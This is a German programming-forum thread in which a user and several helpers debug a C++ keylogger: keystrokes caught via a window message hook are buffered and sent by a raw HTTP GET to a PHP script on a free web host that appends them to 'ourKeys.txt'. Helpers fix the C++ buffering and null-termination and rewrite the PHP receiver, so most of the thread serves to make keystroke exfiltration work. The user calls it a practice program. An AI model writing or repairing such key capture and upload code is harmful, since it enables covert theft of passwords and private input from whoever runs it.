Daten an Server schicken(String)



  • Ja, ich weiß. Zu dem Schluss bin ich auch gekommen.
    Ich glaube ich lasse meinen selbstgebastelten Server als "Empfangsstation" fungieren. Naja, ich würde, das Programm war ja eh nur zur Übung geschrieben.

    Eine Sache prüfe ich noch : In der datei steht jetzt (der Text den ich durch den Browser-Test reingeschriebenhabe)+"test". Könnte als sein, dass das mit dem "test" statt myKeys doch hingehauen hat, nur mit paar Minuten delay.
    Ich habs jetzt nochmal mit "test" statt myKeys ausgeführt und warte mal paar Minuten. Ich meld mich dann mit dem Ergebnis.

    Auf jeden Fall vielen Dank, dass du hier drangeblieben bist und jede Menge Korrekturen und Lösungsvorschläge gepostet hast 🙂



  • Nein,funktioniert nicht.
    Glaube fast, dass der Server einfach spinnt. Ich poste nochmal den ganzen Code von der case-Verzweigung. Einfach um zu beweisen, dass ich eigentlich alle s richtig gemacht habe 😃
    (Das 0-Setzen mit der for-Schleife ist umständlic, aber ich habs einfach mal so zusammengebastelt um den Code auszutesten)

    SOCKET s; //global
    char myKeys[240]; //global, nicht nullterminiert, wichtig?
    int counter =0; //global
    char answer[1000]; //global, nicht nullterminiert, wichtig?
    //----Case-Verzweigung-----
    case WM_USER+124 :
                 switch(wParam) {
                    //Unwichtig, war nur da um das ganze in eine Datei auf meinem PC
                    //zu schreiben. Kann also ignoriert werden.
                   /*case VK_UP : f<<"<UP-KEY>"; break;
                     case VK_LEFT : f<<"<LEFT-KEY>"; break;
                     case VK_RIGHT : f<<"<RIGHT-KEY>"; break;
                     case VK_DOWN : f<<"<LEFT-KEY>"; break;
                     case VK_RETURN : f<<"<ENTER>"; break;
                     case VK_SHIFT : f<<"<SHIFT>"; break;
                     case VK_CONTROL: f<<"<CRTL>"; break;
                     case VK_MENU : f<<"<ALT>"; break;
                     case VK_PAUSE : f<<"<PAUSE>"; break;
                     case VK_CAPITAL : f<<"<CAPSLOCK>"; break;
                     case VK_ESCAPE : f<<"<ESCAPE>"; break;
                     case VK_BACK : f<<"<BACKSPACE>";break;
                   */                 
                    // Hier : Wenn es ein ganz normaler Key ist
                     default :
                             if(counter >= 5) {
                             sprintf(buf,"GET /logKeys.php?lol=%s HTTP/1.1\r\nHost: www.myserver.comuv.com\r\n\r\n",myKeys);
                             send(s,buf,strlen(buf),0);
    
                             //Zum Überprüfen           
                             MessageBox(NULL,myKeys,"send them!",MB_OK);
                             MessageBox(NULL,buf,"BUFFER",MB_OK);
                             counter = 0;
                             for(int z = 0; z<strlen(myKeys);z++) {
                                     myKeys[z] = 0;
                                     }
                             for(int z=0; z<strlen(myKeys);z++) {
                                     buf[z]=0;
                                     }        
                             int i=0;
                             i=recv(s,answer,sizeof(answer),0);
    
                             MessageBox(NULL,answer,"Answer",MB_OK);
                             for(int z=0;z<strlen(answer);z++) {
                                     answer[z]=0;
                                     }
                             } 
                             char c = MapVirtualKeyEx(wParam,2,layout);           
                             myKeys[counter] = c;
                             counter++;
                             break;  
    
                                } 
    
    //Die Funktion die zum Server connected
    //(wird in der Main-Funktion aufgerufen)
    bool ConnectToServer()
    {
    	long rc;
    
    	SOCKADDR_IN addr;
    
    	rc=startWinsock(); // Ruft nur WSAStartup auf
    
    	if(rc!=0)
    	{
    			MessageBox(NULL, "WSAStartup() failed!", "ERROR", MB_ICONERROR );
    			closesocket(s);
    			WSACleanup();
    			return false;
    	}
    
    	s=socket(AF_INET,SOCK_STREAM, 0);
    
    	if(s==INVALID_SOCKET)
    	{
    			MessageBox(NULL, "jSoft could not creat socket!", "ERROR", MB_ICONERROR );
    			closesocket(s);
    			WSACleanup();
    			return false;
    	}
    
    	memset(&addr, 0, sizeof(SOCKADDR));
    
    	addr.sin_family			= AF_INET;
    	addr.sin_port			= htons(80);
    	addr.sin_addr.s_addr	= inet_add("455.234.56.23"); 
    
    	rc=connect( s, (SOCKADDR*)&addr, sizeof(addr) );
    
    	if(rc==SOCKET_ERROR)
    	{
    			MessageBox(NULL, "jSoft could not  connect!", "ERROR", MB_ICONERROR );
    			closesocket(s);
    			WSACleanup();
    			return false;
    	}
    
     return true;
    
    	}
    

    Die IP ist nicht die echte, die ich in meiner Funktion verwende.
    0-terminiert habe ich die c-Strings nicht, bin auch gerade unfähig es hinzubekommen, irgendwie...
    Sollte doch myKeys[239]='\0' sein und buf[999]='\0'. IDE spinnt rum.

    Mfg



  • Probier mal folgendes:

    default :
                             if(counter >= 5) {
    
                             myKeys[counter] = '\0'; // Nullterminierung
    
                             sprintf(buf,"GET /logKeys.php?lol=%s HTTP/1.1\r\nHost: www.myserver.comuv.com\r\n\r\n",myKeys);
                             send(s,buf,strlen(buf),0);
    
                             //Zum Überprüfen          
                             MessageBox(NULL,myKeys,"send them!",MB_OK);
                             MessageBox(NULL,buf,"BUFFER",MB_OK);
                             counter = 0;
    
    /*
                             for(int z = 0; z<strlen(myKeys);z++) {
                                     myKeys[z] = 0;
                                     }
                             for(int z=0; z<strlen(myKeys);z++) {
                                     buf[z]=0;
                                     }     */
    
                             memset(myKeys, 0, sizeof(myKeys));   
                             memset(buf, 0, sizeof(buf));
    
                             int i=0;
                             i=recv(s,answer,sizeof(answer),0);
    
    answer[i] = '\0'; // Nullterminierung
    
                             MessageBox(NULL,answer,"Answer",MB_OK);
                             /*for(int z=0;z<strlen(answer);z++) {
                                     answer[z]=0;
                                     }
                             }*/
                             memset(answer, 0, sizeof(answer));
    
                             char c = MapVirtualKeyEx(wParam,2,layout);          
                             myKeys[counter] = c;
                             counter++;
                             break;  
    
                                }
    

    Ansonsten schau dir mal libcurl an. Damit sollte es definitiv funktionieren 🙂



  • Das Problem liegt doch offensichtlich in deinem PHP Script, da es (bei mir) auch nicht funktioniert wenn ich die URL im Browser eingebe, also fix erstmal dein PHP sowie deine Rechte bis es im Browser klappt.



  • Wie meinst du bei Dir ?
    Mit dem PHP script passt alles, und mit dem Browser geht es auch, nur mit etwa 10 Minuten Verzögerung.



  • Ich muss gastantwort wohl recht geben. Auch bei mir scheint nichts in die Datei geschrieben zu werden. Schon garnicht nach 10 Minuten, was sowieso untewöhnlich wäre.
    Besonders schön, ich bekomm ein "success", das alles geschrieben wurde.

    Ich habe den Verlauf mal kurz hier überflogen. Für mich stellt sich nun die Frage, was du aktuell für ein PHP-Script laufen hast nach diesen vielen Änderungen hier.

    Notfalls kannst du dir mal "chmod" als PHP-Befehl anschauen.



  • Der aktuelle PHP-Code :

    $abcde 	= $_GET['lol'];
    function LogMe($what) 
    { 
      print_r($_GET); // $_GET ausgeben 
    
      echo "\n\n"; 
    
      $filename = 'ourKeys.txt'; 
    
      if (!($file = fopen($filename, 'a'))) 
      { 
       die("fopen()"); 
      } 
    
      if (!is_writable($filename)) 
      { 
       die("is_writable()"); 
      } 
    
      echo "Writing '" . $what . "'\n"; 
    
      if (!fwrite($file, $what)) 
      { 
       die("fwrite()"); 
      } 
    
      echo "Success.\n"; 
    
      fclose($file);       
    } 
    LogMe($_GET['lol']);
    

    Die ganze Sache ist irgendwie komisch ... mal klappts per Browser mal nicht.



  • Ich habe es gerade nochmal mit Browser ausprobiert - 3 mal. Hat funktoniert ... steht auch in der File.
    Nun steht da aber auf einmal (das was voerher schon drin stand)+"testtesttesttesttesttesttest"+(das was ich gerade per Browser geadded habe).
    Woher testest... kommt weiß ich nicht, habe ich 1.) nie mit Browser aufgerufen 2.) das Test aus meinem .cpp Programm ist mit großen "T".



  • Ich habe das Script bei mir nun auch ausprobiert. Funktioniert wunderbar. Ich habe noch weitere Debug-Ausgaben hinzugefügt:

    <?php
    error_reporting(E_ALL);
    
    function LogMe($what)
    {
      print_r($_GET); // $_GET ausgeben
    
      echo "\n";
    
      $filename = 'ourKeys.txt';
    
      if (!($file = fopen($filename, 'a')))
      {
       die("fopen()");
      }
    
      if (!is_writable($filename))
      {
       die("is_writable()");
      }
    
      echo "Writing '" . $what . "' to file '" . $filename . "'.\n";
    
      if (!($count = fwrite($file, $what)))
      {
       die("fwrite()");
      }
    
      echo "Success " . $count . " byte(s) written.\n";
    
      fclose($file);      
    }
    
    if (!isset($_GET['lol']))
    {
     die("No argument 'lol' given.\n");
    }
    
    if (empty($_GET['lol']))
    {
     die("Argument 'lol is empty.\n");
    }
    
    LogMe($_GET['lol']);
    ?>
    

    Aufruf: http://localhost/www/x.php?lol=lol
    Ausgabe: Array ( [lol] => lol ) Writing 'lol' to file 'ourKeys.txt'. Success 3 byte(s) written.

    Es gibt also nur drei Fehlermöglichkeiten:

    1. Das PHP-Script bzw. die zu beschreibene Datei hat noch immer nicht genügend Rechte
    2. Der Server hat irgendeine Macke oder irgendwelche Einschränkungen
    3. Dein C++ Script enthält noch irgendeinen Fehler


  • 😃 des ist von mir...
    Allerdings lässt sich deine Textdatei wohl nicht über den Browser auslesen 🙄 ... die ist so leer wie die Sahara > http://www.myserver.comuv.com/ourKeys.txt

    Hab trotzdem ein paar Kleinigkeiten geaendert.

    <?php
    	 print_r($_GET);
    	 echo "<br>";
    
    	$param = isset($_GET['lol']) ? $_GET['lol'] : "no parameter lol";
    	LogMe($param);
    
    	function LogMe($what)
    	{
    		$filename = 'ourKeys.txt';
    
    		// erst pruefen, dann oeffnen
    		if (!is_writable($filename))
    		{
    			if(!chmod($filename, 0666))
    			{
    				die("is_writable() / chmod");
    			}
    		}
    
    		if (!($file = fopen($filename, 'a')))
    		{
    			die("fopen()");
    		}
    
    		echo "Writing '" . $what . "'<br>";
    
    		if (!fwrite($file, $what))
    		{
    			die("fwrite()");
    		}
    
    		echo "Success.<br>";
    
    		if(!fclose($file))
    		{
    			die("fclose()");
    		}
    	}
    ?>
    


  • Dachte ich mir schon fast 😃

    Oke, ich probiere mal eure php-Codes aus, und schau was so ausgegeben wird.

    Das mit der leeren .txt-Datei ist mir auch schon aufgefallen. Bei mir lässt sich die überhaupt nicht öffnen, wenn ich die .txt in der Server-Ansicht anklicke kommt die "Ups, da ist was schief gelaufen"-Seite.

    BTW: Die Sahara ist nicht leer, sondern VOLL mit Sand. 😃



  • Also mit dem Code von ,,, kriege ich mit Aufruf durch .cpp "No argument 'lol' given".
    Mal eine dumme Frage : Ich führe das -cpp Programm aus. Dann rufe ich die Website mit meinem Internet-Browser auf also www.myserver.comuv.com/logKeys.php
    und schaue was da steht.
    Bezieht sich die Ausgabe in der Datei nicht auf meinen Aufruf mit dem Internet-Explorer ? Also : Ich rufe www.myserver.comuv.com/logKeys.php auf. Lol wird hier ja nicht erwähnt, deswegen Ausgabe ->No argument 'lol' given ?
    Versteht Ihr was ich meine?



  • Dann ändere es wie folgt:

    $param = isset($_GET['lol']) ? $_GET['lol'] : "";
    if(isset($_GET['lol']))
    {
        LogMe($param); 
    }
    

    Dann kannst da auch noch ein else reinmachen, und da die txt-Datei auslesen



  • Jedes mal wenn du die Datei aufrufst, wird auch der Code ausgeführt.

    Und wenn du bei deinem C++ Programm als Ausgabe "No argument 'lol' given". bekommst, dann hapert es bei der Parameterübergabe.

    Wenn du danach die Webseite mit dem Internet Explorer aufrufst, dann bezieht sich die Ausgabe nicht auf das was vorher passiert ist. Wie gesagt, mit jedem Aufruf wird das Script ausgeführt.

    Warum das so ist, kann dir aber hier niemand sagen. Der Code ist nicht kompilierbar und daher lässt sich das auch nicht testen. Wir können also nur vermuten.



  • Mit jedem Aufruf wird der Script ausgeführt ?
    Dann habe ich bis jetzt noch nie die Antwort des Scripts auf das Ausführen meiner .cpp Datei gesehen.

    Wie auch ? Wie soll ich an die Antwort der .php Datei kommen, ohne sie im Browser aufzurufen und damit den Script neu auszuführen?
    Ich habe bis jetzt immer meine .cpp Datei ausgeführt und dann per Browser nachgeschaut, was in der .php-Datei steht.
    Per recv() bekomme ich ja nur die Antwort des Servers und nicht der .php-Datei.



  • Die Antwort des Servers entspricht der Antwort des PHP-Scripts. Du musst dir schon klar machen, wie PHP, HTTP, usw. funktioniert. Ansonsten kann das auch nichts werden.

    Wenn du dein C++ Programm aufrufst, dann musst du dir anschauen, was es als Antwort des Servers liefert. Da müsstest du auch die Ausgabe des PHP-Scripts wiedererkennen.



  • Ja, das dachte ich anfangs auch, dass die Antwort da dabei steht. Aber in der Antwort sehe ich das nicht.
    Hab hier mal ein Bild der Antwort :
    http://img830.imageshack.us/img830/6788/answer.png

    C-String antwort ist groß genug ( 9000) also ist definitiv die ganze Antwort

    Wenn jemand bereit wäre, sich die Mühe zu machen, kann ich ihm auch grerne die .dll + .cpp Datei schicken und er kann ausprobieren, ob das bei Ihm läuft.
    Sind halt leider Datei für Dev C++ IDE, andere laufen auf diesem alten Rechner nicht.



  • Dann ist deine Abfrage nicht korrekt. Oder die Datei ist auf dem Server unter einem anderem Namen gespeichert. Groß- und Kleinschreibung bei Servern mit Linux beachten! Du wirst jedenfalls auf eine Fehlerseite weitergeleitet.

    Mach ein Screenshot, wie dein Request aussieht.



  • Also der String in buf :
    "GET /logKeys.php?lol=%s HTTP/1.1\r\nHost: www.myserver.comuv.com\r\n\r\n",myKeys.
    Also : logKeys.php
    Hab auf dem Server nachgeschaut, stimmt 1:1 auch großen und kleinen Buchstaben.

    Antwort fange ich so ab :

    recv(s,answer,sizeof(answer),0);
    

    s ist das Socket. Das ist auch GANZ sicher connected, sonst würde ne Error-message am Anfang ausgegeben werden.



  • Probier einfach libcurl aus...


Anmelden zum Antworten